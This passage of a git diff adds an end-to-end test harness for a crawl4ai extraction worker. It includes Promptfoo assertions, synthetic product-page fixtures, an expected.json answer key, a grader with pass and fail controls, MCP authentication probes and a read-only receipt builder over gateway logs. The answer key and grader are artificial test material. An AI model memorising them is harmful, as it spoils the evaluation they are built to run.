b/blueprints/runtime-workers/crawl4ai/e2e/assertions.json @@ -0,0 +1,4 @@ +[ + {"type": "is-json"}, + {"type": "equals", "value": "file://expected.json"} +] diff --git a/blueprints/runtime-workers/crawl4ai/e2e/check.py b/blueprints/runtime-workers/crawl4ai/e2e/check.py new file mode 100644 index 000000000..186ba1753 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/check.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +"""Transport only: wrap one retained output string for Promptfoo 0.123.1. + +Source: promptfoo/promptfoo 0.123.1 +site/docs/configuration/expected-outputs/index.md, standalone assertions. +Exit 0 means readable input was transported, NEVER a quality verdict. Invalid +JSON, empty outputs and wrong answers reach the unchanged upstream assertions. +""" +import json +import sys +from pathlib import Path + + +def transport(path): + return [Path(path).read_bytes().decode("utf-8")] + + +if __name__ == "__main__": + try: + if len(sys.argv) != 2: + raise ValueError("one retained output file required") + print(json.dumps(transport(sys.argv[1]))) + except (OSError, UnicodeError, ValueError): + print("Transport unavailable; no upstream verdict", file=sys.stderr) + raise SystemExit(2) diff --git a/blueprints/runtime-workers/crawl4ai/e2e/expected.json b/blueprints/runtime-workers/crawl4ai/e2e/expected.json new file mode 100644 index 000000000..30d1ea1b2 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/expected.json @@ -0,0 +1,7 @@ +{ + "records": [ + {"sku": "B-101", "name": "Scout Beacon", "category": "navigation", "price_usd": "24.90", "in_stock": true, "dispatch_days": 2}, + {"sku": "F-202", "name": "Trail Flask", "category": "hydration", "price_usd": "18.50", "in_stock": false, "dispatch_days": 14}, + {"sku": "L-303", "name": "Ridge Lamp", "category": "lighting", "price_usd": "32.00", "in_stock": true, "dispatch_days": 0} + ] +} diff --git a/blueprints/runtime-workers/crawl4ai/e2e/fixtures/beacon.html b/blueprints/runtime-workers/crawl4ai/e2e/fixtures/beacon.html new file mode 100644 index 000000000..421647833 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/fixtures/beacon.html @@ -0,0 +1,8 @@ +Scout Beacon product facts + + +

Scout Beacon

+

The current catalog SKU is B-101. The product name is Scout Beacon and its category is navigation.

+

The current price in USD is 24.90. The Scout Beacon is in stock. Orders dispatch in 2 days.

+

This compact signaling device belongs to our frozen demonstration catalog. Use only current facts from this article when extracting the product listing.

+
Demonstration store. Navigation and archived promotions are not product facts.
diff --git a/blueprints/runtime-workers/crawl4ai/e2e/fixtures/flask.html b/blueprints/runtime-workers/crawl4ai/e2e/fixtures/flask.html new file mode 100644 index 000000000..342b3bcd0 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/fixtures/flask.html @@ -0,0 +1,8 @@ +Trail Flask product facts + + +

Trail Flask

+

The current catalog SKU is F-202. The product name is Trail Flask and its category is hydration.

+

The current price in USD is 18.50. The Trail Flask is not in stock. Orders dispatch in 14 days.

+

This insulated drinking container belongs to our frozen demonstration catalog. Use only current facts from this article when extracting the product listing.

+
Demonstration store. Navigation and archived promotions are not product facts.
diff --git a/blueprints/runtime-workers/crawl4ai/e2e/fixtures/lamp.html b/blueprints/runtime-workers/crawl4ai/e2e/fixtures/lamp.html new file mode 100644 index 000000000..993e9e91d --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/fixtures/lamp.html @@ -0,0 +1,8 @@ +Ridge Lamp product facts + + +

Ridge Lamp

+

The current catalog SKU is L-303. The product name is Ridge Lamp and its category is lighting.

+

The current price in USD is 32.00. The Ridge Lamp is in stock. Orders dispatch in 0 days.

+

This rechargeable reading light belongs to our frozen demonstration catalog. Use only current facts from this article when extracting the product listing.

+
Demonstration store. Navigation and archived promotions are not product facts.
diff --git a/blueprints/runtime-workers/crawl4ai/e2e/grade.py b/blueprints/runtime-workers/crawl4ai/e2e/grade.py new file mode 100644 index 000000000..6e4d0c89f --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/grade.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python3 +"""Invoke unchanged Promptfoo 0.123.1 assertions; retain its verdict and output. + +Sources: pinned standalone-assertions docs; src/util/config/load.ts:789-820; +src/node/doEval.ts exit codes; src/types/index.ts report envelope. No custom +scoring, model calls, service or installation. See research.md for exact URLs. +""" +import argparse +import hashlib +import json +import os +import subprocess +import sys +from pathlib import Path + +HERE = Path(__file__).resolve().parent +VERSION = "0.123.1" + + +def digest(path): + return hashlib.sha256(path.read_bytes()).hexdigest() if path.is_file() else None + + +def grade(directory, executable): + directory = Path(directory).resolve() + env = dict(os.environ, PROMPTFOO_CONFIG_DIR=str(directory / "promptfoo-state"), + PROMPTFOO_LOG_DIR=str(directory / "promptfoo-state/logs"), + PROMPTFOO_CACHE_PATH=str(directory / "promptfoo-state/cache"), + PROMPTFOO_DISABLE_TELEMETRY="1", PROMPTFOO_DISABLE_UPDATE="1", + PROMPTFOO_PASS_RATE_THRESHOLD="100", PROMPTFOO_FAILED_TEST_EXIT_CODE="100", + PYTHONDONTWRITEBYTECODE="1") + version = subprocess.run([str(executable), "--version"], env=env, cwd=directory, + capture_output=True, text=True, timeout=30, check=True) + if version.stdout.strip() != VERSION: + raise ValueError("Promptfoo 0.123.1 required; no fallback grader") + with (directory / "model-outputs.json").open("w") as stream: + subprocess.run([sys.executable, str(HERE / "check.py"), str(directory / "result.json")], + env=env, stdout=stream, check=True, timeout=30) + command = [str(executable), "eval", "--assertions", "assertions.json", "--model-outputs", + os.path.relpath(directory / "model-outputs.json", HERE), "--no-cache", "--no-share", + "--no-write", "--no-progress-bar", "--no-table", "--max-concurrency", "1", + "-o", str(directory / "promptfoo.json")] + with (directory / "promptfoo.stdout").open("w") as out, (directory / "promptfoo.stderr").open("w") as err: + result = subprocess.run(command, cwd=HERE, env=env, stdout=out, stderr=err, timeout=120) + info = {"harness": "promptfoo", "version": VERSION, "exit_code": result.returncode, + "source_sha256": digest(directory / "result.json"), + "report_sha256": digest(directory / "promptfoo.json"), + "assertions_sha256": digest(HERE / "assertions.json"), + "expected_sha256": digest(HERE / "expected.json")} + (directory / "grader.json").write_text(json.dumps(info, indent=2) + "\n") + return info + + +def observation(directory, info=None): + """Read upstream success, checking binding/completeness, never re-score data.""" + directory = Path(directory) + result = {"harness": "promptfoo", "version": VERSION, "passed": False, "status": "unavailable"} + try: + if info is None: + info = json.loads((directory / "grader.json").read_text()) + report = json.loads((directory / "promptfoo.json").read_text()) + rows = report["results"]["results"] + stats = report["results"]["stats"] + bound = (info["harness"] == "promptfoo" and info["version"] == VERSION + and info["source_sha256"] == digest(directory / "result.json") + and info["report_sha256"] == digest(directory / "promptfoo.json") + and info["assertions_sha256"] == digest(HERE / "assertions.json") + and info["expected_sha256"] == digest(HERE / "expected.json") + and len(rows) == 1 + # Promptfoo trims the rendered echo prompt. Original bytes stay + # bound by source_sha256; whitespace is not a product verdict. + and rows[0]["response"]["output"] == (directory / "result.json").read_text().strip()) + if not bound: + result["status"] = "unbound_or_incomplete" + return result + result.update(status="observed", exit_code=info["exit_code"], + report_sha256=info["report_sha256"], + source_sha256=info["source_sha256"], + passed=(info["exit_code"] == 0 and rows[0]["success"] is True + and stats["successes"] == 1 and stats["failures"] == 0 and stats["errors"] == 0)) + except (OSError, ValueError, KeyError, TypeError, IndexError): + pass + return result + + +def run_controls(directory, executable): + """Three synthetic controls through the same transport and upstream grader.""" + directory = Path(directory) + correct = (HERE / "expected.json").read_text() + controls = {"known-pass": correct, "known-fail": correct.replace("24.90", "999.00"), + "malformed-output": '{"records": [BROKEN'} + output = {} + for name, value in controls.items(): + case = directory / name + case.mkdir(parents=True) + (case / "result.json").write_text(value) + output[name] = grade(case, executable) + return output + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("directory", type=Path) + parser.add_argument("--executable", default=os.environ.get("NAS_CRAWL4AI_GRADER", "promptfoo")) + parser.add_argument("--controls", action="store_true") + args = parser.parse_args() + if args.controls: + controls = run_controls(args.directory, args.executable) + print(json.dumps(controls, indent=2)) + raise SystemExit(0 if {k: v["exit_code"] for k, v in controls.items()} == { + "known-pass": 0, "known-fail": 100, "malformed-output": 100} else 1) + raise SystemExit(grade(args.directory, args.executable)["exit_code"]) diff --git a/blueprints/runtime-workers/crawl4ai/e2e/mcp_probe.py b/blueprints/runtime-workers/crawl4ai/e2e/mcp_probe.py new file mode 100644 index 000000000..6fff81f31 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/mcp_probe.py @@ -0,0 +1,119 @@ +"""Bounded JSON-RPC probes following v0.9.4 tests/mcp/test_mcp_socket.py. + +SSE framing/auth follows modelcontextprotocol/python-sdk v1.18.0 +src/mcp/client/sse.py; aiohttp provides HTTP/WebSocket transport. These client +observations are local integration checks, never framework-native log evidence. +""" +import asyncio +import json +from urllib.parse import urljoin, urlsplit + + +INIT = {"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { + "protocolVersion": "2024-11-05", "capabilities": {}, + "clientInfo": {"name": "crawl4ai-recipe-check", "version": "1"}, +}} +READY = {"jsonrpc": "2.0", "method": "notifications/initialized"} + + +def call(fixture): + return {"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { + "name": "md", "arguments": {"url": fixture, "f": "fit", "q": None, "c": "0"}, + }} + + +def valid_markdown(response): + try: + result = response["result"] + if result.get("isError"): + return False + payload = json.loads(result["content"][0]["text"]) + markdown = payload["markdown"] + return payload["success"] is True and all(fact in markdown for fact in ("Scout Beacon", "B-101", "24.90")) + except (ValueError, KeyError, IndexError, TypeError): + return False + + +async def event(stream): + kind, data = "message", [] + while True: + line = await stream.content.readline() + if not line: + raise ValueError("SSE stream ended") + text = line.decode().rstrip("\r\n") + if not text: + if data: + return kind, "\n".join(data) + continue + if text.startswith("event:"): + kind = text[6:].strip() + elif text.startswith("data:"): + data.append(text[5:].lstrip()) + + +async def sse(client, base, token, fixture): + headers = {"Authorization": "Bearer " + token} + async with client.get(base + "/mcp/sse", headers=headers) as stream: + stream.raise_for_status() + kind, endpoint = await event(stream) + if kind != "endpoint": + raise ValueError("missing SSE message endpoint") + target = urljoin(base, endpoint) + if urlsplit(target).netloc != urlsplit(base).netloc or not urlsplit(target).path.startswith("/mcp/messages/"): + raise ValueError("unexpected SSE message destination") + async def send(payload): + async with client.post(target, headers=headers, json=payload) as result: + result.raise_for_status() + await send(INIT) + _, answer = await event(stream) + if "result" not in json.loads(answer): + raise ValueError("SSE initialization failed") + await send(READY) + await send(call(fixture)) + while True: + _, answer = await event(stream) + parsed = json.loads(answer) + if parsed.get("id") == 2: + return valid_markdown(parsed) + + +async def websocket(client, base, token, fixture): + async with client.ws_connect(base.replace("http://", "ws://", 1) + "/mcp/ws", + headers={"Authorization": "Bearer " + token}, protocols=("mcp",)) as connection: + await connection.send_json(INIT) + initialized = await connection.receive_json() + if "result" not in initialized: + raise ValueError("WebSocket initialization failed") + await connection.send_json(READY) + await connection.send_json(call(fixture)) + while True: + response = await connection.receive_json() + if response.get("id") == 2: + return valid_markdown(response) + + +async def probe(base, fixture, token): + import aiohttp + results = {} + async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=40)) as client: + for route in ("/mcp/sse", "/crawl"): + async with client.get(base + route) as response: + results["auth_" + route] = response.status == 401 + try: + async with client.ws_connect(base.replace("http://", "ws://", 1) + "/mcp/ws", protocols=("mcp",)): + results["auth_/mcp/ws"] = False + except aiohttp.WSServerHandshakeError as exc: + results["auth_/mcp/ws"] = exc.status in (401, 403) + # Prove API auth/control and FIT extraction even if one MCP transport fails. + async with client.post(base + "/md", headers={"Authorization": "Bearer " + token}, + json={"url": fixture, "f": "fit", "q": None, "c": "0"}) as response: + payload = await response.json() + results["api_fit"] = response.status == 200 and valid_markdown({ + "result": {"content": [{"text": json.dumps(payload)}]}}) + for transport, operation in (("sse", sse), ("websocket", websocket)): + try: + results[transport] = await asyncio.wait_for(operation(client, base, token, fixture), timeout=40) + except Exception as exc: + results[transport] = False + results[transport + "_error"] = type(exc).__name__ + return results diff --git a/blueprints/runtime-workers/crawl4ai/e2e/receipt.py b/blueprints/runtime-workers/crawl4ai/e2e/receipt.py new file mode 100644 index 000000000..a6ae126c7 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/receipt.py @@ -0,0 +1,240 @@ +#!/usr/bin/env python3 +"""Sanitized independent observation; SQLite mode=ro reads only approved fields. + +References: Python 3.12 sqlite3 URI mode=ro; user's gateway column contract; +docs/acceptance-evidence-policy.md. No schema/table discovery, prompts or IDs. +""" +import argparse +import hashlib +import json +import re +import sqlite3 +import sys +from contextlib import closing +from datetime import datetime, timezone +from pathlib import Path + +from grade import observation + +ROOT = Path(__file__).resolve().parents[1] +sys.path.insert(0, str(ROOT)) +from worker import arm_settings + +COLUMNS = ("timestamp", "path", "status", "model", "reasoning_effort_requested", + "reasoning_effort_upstream", "tokens_in", "tokens_cache_read", "tokens_reasoning", "correlation_id") +EFFORTS = {"none", "minimal", "low", "medium", "high", "xhigh", "max"} +PATHS = {"/v1/chat/completions", "/v1/responses", "/chat/completions", "/responses"} + + +def timestamp(value): + if isinstance(value, (int, float)): + return datetime.fromtimestamp(value / 1000 if value > 100_000_000_000 else value, timezone.utc).isoformat() + parsed = datetime.fromisoformat(value.replace("Z", "+00:00")) + return (parsed if parsed.tzinfo else parsed.replace(tzinfo=timezone.utc)).astimezone(timezone.utc).isoformat() + + +def gateway_rows(database, start, end, *, models=None, correlations=None): + try: + if not database.is_file(): + raise FileNotFoundError("entry gateway database not present") + # sqlite3's transaction context does not close the connection; the + # Python 3.12 sqlite3 context-manager docs prescribe closing for that. + with closing(sqlite3.connect(database.resolve().as_uri() + "?mode=ro", uri=True, timeout=5)) as db: + # Common requirements sections 2 + 3: usage, correlation and the + # two conditional effort fields only. IDs are never exported. + def authorize(action, table, column, *_): + if action == sqlite3.SQLITE_READ and (table != "call_logs" or column not in COLUMNS): + return sqlite3.SQLITE_DENY + return sqlite3.SQLITE_OK + db.set_authorizer(authorize) + sql = "SELECT " + ", ".join(COLUMNS) + """ FROM call_logs + WHERE CASE WHEN typeof(timestamp) IN ('integer', 'real') THEN + CASE WHEN timestamp > 100000000000 THEN timestamp / 1000.0 ELSE timestamp END + ELSE (julianday(timestamp) - 2440587.5) * 86400 END BETWEEN ? AND ?""" + bounds = [datetime.fromisoformat(v.replace("Z", "+00:00")).timestamp() for v in (start, end)] + for column, values in (("path", sorted(PATHS)), ("model", models), ("correlation_id", correlations)): + if values: + sql += f" AND {column} IN ({','.join('?' for _ in values)})" + bounds.extend(values) + sql += " ORDER BY timestamp" + rows = [dict(zip(COLUMNS, row)) for row in db.execute(sql, bounds)] + for row in rows: + row.pop("correlation_id") + row["timestamp"] = timestamp(row["timestamp"]) + row["path"] = row["path"] if row["path"] in PATHS else "[redacted]" + model = row["model"] + row["model"] = model if isinstance(model, str) and re.fullmatch(r"(?:(?:cx|sharedgw)/)?gpt-6(?:-[A-Za-z0-9]+)+", model) else "[redacted]" + status = row["status"] + row["status"] = status if str(status) in {"success", "error", "completed", "failed"} or re.fullmatch(r"[1-5][0-9]{2}", str(status)) else "[redacted]" + for name in ("reasoning_effort_requested", "reasoning_effort_upstream"): + row[name] = row[name] if row[name] in EFFORTS else None + for name in ("tokens_in", "tokens_cache_read", "tokens_reasoning"): + row[name] = row[name] if type(row[name]) is int and row[name] >= 0 else None + return {"status": "observed" if rows else "no_rows", "rows": rows, + "attribution": ("entry gateway correlation + window + model + path" if correlations else + "entry gateway window + model + path; concurrent traffic may be included"), + "correlation_capture_complete": bool(correlations)} + except (OSError, sqlite3.Error, ValueError, TypeError, OverflowError) as exc: + return {"status": "unavailable", "error_class": type(exc).__name__, "rows": []} + + +def effort_observation(rows, expected): + """OmniRoute@a58000c7 src/lib/usage/callLogs.ts:642-653. + + Null effort is not evidence of an omitted request. Reasoning-bearing rows + need both observations; rows without reasoning are counted separately. + """ + reasoning = [r for r in rows if (r.get("tokens_reasoning") or 0) > 0] + unknown = sum(r.get("tokens_reasoning") is None for r in rows) + return {"expected": expected, "reasoning_rows": reasoning, + "no_returned_reasoning_count": sum(r.get("tokens_reasoning") == 0 for r in rows), + "unknown_reasoning_count": unknown, + "passed": bool(rows) and not unknown and all( + r["reasoning_effort_requested"] == expected and r["reasoning_effort_upstream"] == expected + for r in reasoning)} + + +def digest(path): + return hashlib.sha256(path.read_bytes()).hexdigest() if path.is_file() else None + + +def compression_delta(snapshots): + # OmniRoute@a58000c7 src/lib/db/compressionAnalytics.ts:613-617. + keys = ("totalRequests", "totalTokensSaved") + try: + before, after = ({k: snapshots[side][k] for k in keys} for side in ("before", "after")) + if any(type(v) is not int or v < 0 for values in (before, after) for v in values.values()): + raise ValueError("invalid cumulative counter") + delta = {k: after[k] - before[k] for k in keys} + if any(v < 0 for v in delta.values()): + raise ValueError("counter reset") + return {"status": "observed", "delta": delta, + "scope": "20129 analytics over run; may include concurrent traffic; never added to usage"} + except (KeyError, TypeError, ValueError): + return {"status": "unavailable", "delta": None} + + +def exit_code(receipt): + if receipt.get("setup_error_class"): + return 2 + if any(a["grader"].get("status") == "observed" and not a["grader"]["passed"] for a in receipt.get("arms", [])): + return 3 + return 0 if receipt.get("passed") else 4 + + +def make_receipt(directory, databases=None, correlations=None): + metadata = json.loads((directory / "run.json").read_text()) + config = json.loads((ROOT / "config/worker.json").read_text()) + databases = databases or {"control": Path.home() / ".local/share/omniroute/storage.sqlite", + "engines-on": Path.home() / ".local/share/omniroute-fw/storage.sqlite", + "comparison": Path.home() / ".local/share/omniroute/storage.sqlite"} + correlations = correlations or {} + native_log = directory / "container.log" + log = native_log.read_text(errors="replace") if native_log.exists() else "" + route_calls = len(re.findall(r'POST /md(?:\s|\?)', log)) + mcp_requests = len(re.findall(r"Processing request of type CallToolRequest", log)) + arms = [] + for arm in metadata.get("selected_arms", config["e2e"]["arms"]): + info = metadata["arms"].get(arm) + if info is None: + arms.append({"arm": arm, "grader": {"passed": False, "status": "not_run"}, + "gateway": {"status": "not_run", "rows": []}}) + continue + route = arm_settings(config, arm) + ids = correlations.get(arm, []) + complete = len(ids) == len(config["e2e"]["pages"]) and all(ids) and len(set(ids)) == len(ids) + model = info["model"] + models = [model, model.split("/", 1)[-1]] + gateway = gateway_rows(databases[arm], info["start"], info["end"], models=models, + correlations=ids if complete else None) + effort = effort_observation(gateway["rows"], route["expected_effort"]) + relevant = gateway["rows"] + routing = len(relevant) == len(config["e2e"]["pages"]) and effort["passed"] and all( + str(row["status"]) in {"200", "success", "completed"} for row in relevant) + grader = observation(directory / arm) + arms.append({"arm": arm, "base_url": route["base_url"], "model": model, + "gateway_port": 20129 if arm == "engines-on" else 20128, + "header_names": ["x-omniroute-session", "Idempotency-Key"] + + (["x-omniroute-compression"] if arm == "engines-on" else []), + "effort": effort, "grader": grader, "routing_observed_in_window": routing, + "gateway": gateway, "framework_log_sha256": digest(directory / arm / "native.log"), + "result_sha256": digest(directory / arm / "result.json"), + "error_class": info.get("error_class") if re.fullmatch(r"[A-Za-z]+(?:Error|Exception)", info.get("error_class", "")) else None, + "content_measurements": safe_measurements(info.get("measurements", []))}) + required_probes = ("auth_/mcp/sse", "auth_/crawl", "api_fit", "sse") + probes = metadata.get("probes", {}) + probe_checks = {key: probes.get(key) is True for key in required_probes} + controls = {name: observation(directory / "controls" / name) + for name in ("known-pass", "known-fail", "malformed-output")} + controls_passed = all(controls[name]["status"] == "observed" + and controls[name].get("exit_code") == code + and controls[name]["passed"] is (code == 0) + for name, code in (("known-pass", 0), ("known-fail", 100), ("malformed-output", 100))) + passed = (all(a["grader"]["passed"] and a.get("routing_observed_in_window", False) for a in arms) + and all(probe_checks.values()) and route_calls >= 1 and mcp_requests >= 1 + and metadata.get("cleanup_passed") is True and controls_passed) + compression = compression_delta(metadata.get("compression", {})) if "engines-on" in metadata["arms"] else {"status": "not_applicable", "delta": None} + passed = passed and compression["status"] != "unavailable" and not metadata.get("setup_error_class") + return { + "schema_version": 3, "compression": compression, + "setup_error_class": metadata.get("setup_error_class"), "framework": "crawl4ai", "framework_version": metadata.get("framework_version"), + "expected_version": "0.9.4", "evidence_class": "local integration on synthetic frozen fixtures", + "passed": passed and metadata.get("framework_version") == "0.9.4", + "arms": arms, "container_checks": probe_checks, "cleanup_passed": metadata.get("cleanup_passed", False), + "grader_controls": controls, "grader_controls_passed": controls_passed, + "mcp_observation": { + "source": "framework container stdout/stderr bounded by this run start", "log_sha256": digest(native_log), + "native_call_tool_request_count": mcp_requests, + "native_post_md_count": route_calls, + "tool_names_observed": [], + "tool_names_inferred_from_routes": [], + "limitation": "v0.9.4 does not log MCP tool names; POST /md counts direct REST and MCP traffic together; no MCP tool identity is inferred", + }, + "skills_observation": {"names_at_start": [], "events": [], + "status": "not applicable: no native SKILL.md loader or inventory API found in reviewed v0.9.4 sources; no activation claimed"}, + "frozen_artifacts": {str(path.relative_to(ROOT)): digest(path) for path in sorted((ROOT / "e2e/fixtures").glob("*.html"))}, + "grader": {"name": "promptfoo", "version": "0.123.1", "mode": "standalone unchanged is-json and equals assertions", + "assertions_sha256": digest(ROOT / "e2e/assertions.json")}, + "transport_sha256": digest(ROOT / "e2e/check.py"), "schema_sha256": digest(ROOT / "e2e/schema.json"), + "oracle_expected_sha256": digest(ROOT / "e2e/expected.json"), "pins_sha256": digest(ROOT / "pins.json"), + "recipe_artifacts": {name: digest(ROOT / name) for name in ( + "worker.py", "requirements.lock", "browser-artifacts.json", "config/worker.json", + "config/compose.yaml", "config/server.yml", "config/supervisord.conf", "config/logging.ini", + "container-entrypoint.sh", "e2e/run.py", "e2e/mcp_probe.py", "e2e/receipt.py", "e2e/grade.py", + )}, + "sanitization": "No raw logs, paths, credentials, emails, session/request identifiers or unapproved DB columns; unknown counters stay null", + "qualification": "A passing comparison check qualifies only this frozen extraction contract; no global model substitution", + "routing_gate": "Three successful entry-gateway rows per arm; reasoning-bearing rows require requested/upstream expected effort; unknown or overlapping evidence fails closed", + } + + +def safe_measurements(measurements): + output = [] + for item in measurements: + if item.get("page") not in {"beacon.html", "flask.html", "lamp.html"}: + continue + safe = {"page": item["page"]} + for name in ("raw_markdown_bytes", "fit_markdown_bytes", "estimated_chunk_tokens"): + value = item.get(name) + safe[name] = value if type(value) is int and value >= 0 else None + value = item.get("fit_sha256", "") + safe["fit_sha256"] = value if isinstance(value, str) and re.fullmatch(r"[0-9a-f]{64}", value) else None + output.append(safe) + return output + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--run-dir", type=Path, required=True) + parser.add_argument("--db", type=Path, default=Path.home() / ".local/share/omniroute/storage.sqlite") + parser.add_argument("--engines-db", type=Path, default=Path.home() / ".local/share/omniroute-fw/storage.sqlite") + parser.add_argument("--output", type=Path, required=True) + args = parser.parse_args() + receipt = make_receipt(args.run_dir, {"control": args.db, "comparison": args.db, "engines-on": args.engines_db}) + args.output.write_text(json.dumps(receipt, indent=2) + "\n") + print("PASS: host receipt" if receipt["passed"] else "FAIL: host receipt contains incomplete or failed gates") + return exit_code(receipt) + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/crawl4ai/e2e/run.py b/blueprints/runtime-workers/crawl4ai/e2e/run.py new file mode 100644 index 000000000..45ab58b12 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/run.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 +"""Frozen host E2E. Two native provider arms, plus bounded upstream container MCP. + +Sources: upstream pricing example, MCP socket example, stdlib http.server; +see README for scope and native-vs-local evidence boundaries. +""" +import argparse +import asyncio +import contextlib +import functools +import http.server +import importlib.metadata +import json +import os +import subprocess +import sys +import threading +import time +import traceback +import urllib.request +from datetime import datetime, timezone +from pathlib import Path + +ROOT = Path(__file__).resolve().parents[1] +sys.path.insert(0, str(ROOT)) +from host import load_host, locations, private_file +from worker import extract, model_for, arm_settings, selected_arm +from receipt import make_receipt, exit_code +from grade import grade, run_controls, observation +from dispatch import write_json, finish, announce + + +def now(): + return datetime.now(timezone.utc).isoformat() + + +class QuietHandler(http.server.SimpleHTTPRequestHandler): + def log_message(self, *_): + pass + + +def compression_snapshot(): + # OmniRoute@a58000c7 src/app/api/analytics/compression/route.ts:13-24. + # All-time cumulative counters avoid a moving 24-hour boundary. No auth + # store is read; a management-auth refusal is incomplete evidence. + try: + with urllib.request.urlopen("http://127.0.0.1:20129/api/analytics/compression?since=all", timeout=5) as response: + data = json.load(response) + return {k: data[k] for k in ("totalRequests", "totalTokensSaved") + if type(data.get(k)) is int and data[k] >= 0} + except (OSError, ValueError, KeyError): + return {} + + +def main(argv=None): + os.umask(0o077) + parser = argparse.ArgumentParser() + parser.add_argument("--run-dir", type=Path, required=True) + parser.add_argument("--arm", choices=("control", "engines-on", "comparison"), default=None) + args = parser.parse_args(argv) + arm = args.arm or selected_arm() + directory = args.run_dir.resolve() + directory.mkdir(mode=0o700, parents=True, exist_ok=True) + if not (directory / "status.json").exists(): + write_json(directory / "status.json", {"arm": arm, "state": "running", "exit_code": None, + "receipt_path": str(directory / "receipt.json"), "status_path": str(directory / "status.json")}) + write_json(directory / "receipt.json", {"passed": False, "outcome": "incomplete_evidence"}) + metadata = {"framework_version": None, "start": now(), "selected_arms": [arm], "arms": {}, "probes": {}, + "skills_at_start": {"names": [], "status": "no native skill inventory/loader in reviewed v0.9.4"}} + correlations = {} + server, server_thread, container_attempted = None, None, False + lifecycle = (directory / "lifecycle.log").open("w") + try: + config = json.loads((ROOT / "config/worker.json").read_text()) + # Exactly one explicit arm per run; dispatch serializes runs on this host. + config["e2e"]["arms"] = [arm] + route = arm_settings(config, arm) + host = load_host() + os.chdir(host["working_directory"]) + _, state = locations() + metadata["framework_version"] = importlib.metadata.version("crawl4ai") + executable = os.environ["NAS_CRAWL4AI_GRADER"] + metadata["grader_controls"] = run_controls(directory / "controls", executable) + for name, expected in (("known-pass", 0), ("known-fail", 100), ("malformed-output", 100)): + control = observation(directory / "controls" / name) + if control["status"] != "observed" or control["exit_code"] != expected or control["passed"] is not (expected == 0): + raise ValueError("upstream grader controls failed; no model trial attempted") + for arm in config["e2e"]["arms"]: + model_for(config, arm) # refuse unavailable routes before starting resources + server = http.server.ThreadingHTTPServer(("127.0.0.1", host["fixture_port"]), + functools.partial(QuietHandler, directory=str(ROOT / "e2e/fixtures"))) + server_thread = threading.Thread(target=server.serve_forever, daemon=True) + server_thread.start() + # Independent work continues even when the known WS source gap fails. + try: + from mcp_probe import probe + container_attempted = True + subprocess.run(["bash", str(ROOT / "container.sh"), "start-e2e"], check=True, + stdout=lifecycle, stderr=subprocess.STDOUT, timeout=90, + env=dict(os.environ, CRAWL4AI_ARM=arm)) + base = f"http://127.0.0.1:{host['e2e_api_port']}" + deadline = time.monotonic() + 90 + while True: + try: + with urllib.request.urlopen(base + "/health", timeout=2) as response: + if response.status == 200: + break + except OSError: + if time.monotonic() >= deadline: + raise TimeoutError("container readiness timed out") + time.sleep(1) + token_file = state / "secrets/api_token" + private_file(token_file) + token = token_file.read_text().strip() + metadata["probes"] = asyncio.run(probe(base, + f"http://10.0.2.2:{host['fixture_port']}/beacon.html", token)) + del token + except Exception as exc: + metadata["container_error_class"] = type(exc).__name__ + traceback.print_exc(file=lifecycle) + for arm in config["e2e"]["arms"]: + output = directory / arm + output.mkdir(mode=0o700) + route = arm_settings(config, arm) + info = {"start": now(), "model": route["model"], "base_url": route["base_url"], + "expected_effort": route["expected_effort"], "gateway": route["gateway"], + "header_names": ["x-omniroute-session", "Idempotency-Key"] + + (["x-omniroute-compression"] if arm == "engines-on" else [])} + correlations[arm] = [] + if arm == "engines-on": + metadata["compression"] = {"before": compression_snapshot()} + try: + with (output / "native.log").open("w") as log, contextlib.redirect_stdout(log), contextlib.redirect_stderr(log): + info["measurements"] = asyncio.run(extract(config, arm, + f"http://127.0.0.1:{host['fixture_port']}", output / "result.json", output, correlations[arm])) + except Exception as exc: + info["error_class"] = type(exc).__name__ + with (output / "native.log").open("a") as log: + traceback.print_exc(file=log) + finally: + info["end"] = now() + info["correlation_capture_count"] = sum(value is not None for value in correlations[arm]) + if arm == "engines-on": + metadata["compression"]["after"] = compression_snapshot() + # End the provider window before offline grading. EchoProvider's + # counters never enter native model usage or gateway attribution. + try: + info["grader"] = grade(output, executable) + except Exception as exc: + info["grader_error_class"] = type(exc).__name__ + traceback.print_exc(file=lifecycle) + metadata["arms"][arm] = info + (directory / "run.json").write_text(json.dumps(metadata, indent=2)) + except Exception as exc: + metadata["setup_error_class"] = type(exc).__name__ + traceback.print_exc(file=lifecycle) + finally: + metadata["cleanup_passed"] = True + if container_attempted: + try: + with (directory / "container.log").open("w") as log: + subprocess.run(["bash", str(ROOT / "container.sh"), "logs-e2e", metadata["start"]], stdout=log, + stderr=subprocess.STDOUT, timeout=30, check=False) + except Exception: + traceback.print_exc(file=lifecycle) + finally: + try: + stopped = subprocess.run(["bash", str(ROOT / "container.sh"), "stop-e2e"], + stdout=lifecycle, stderr=subprocess.STDOUT, timeout=60, check=False) + metadata["cleanup_passed"] = stopped.returncode == 0 + except Exception: + metadata["cleanup_passed"] = False + traceback.print_exc(file=lifecycle) + if server is not None: + server.shutdown() + server.server_close() + server_thread.join() + lifecycle.close() + (directory / "run.json").write_text(json.dumps(metadata, indent=2)) + try: + receipt = make_receipt(directory, correlations=correlations) + except Exception as exc: + # Even damaged recipe metadata cannot erase the stable result. + receipt = {"passed": False, "arms": [], "error_class": type(exc).__name__, + "setup_error_class": metadata.get("setup_error_class")} + finish(directory, receipt, exit_code(receipt)) + return announce(directory) + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/crawl4ai/e2e/schema.json 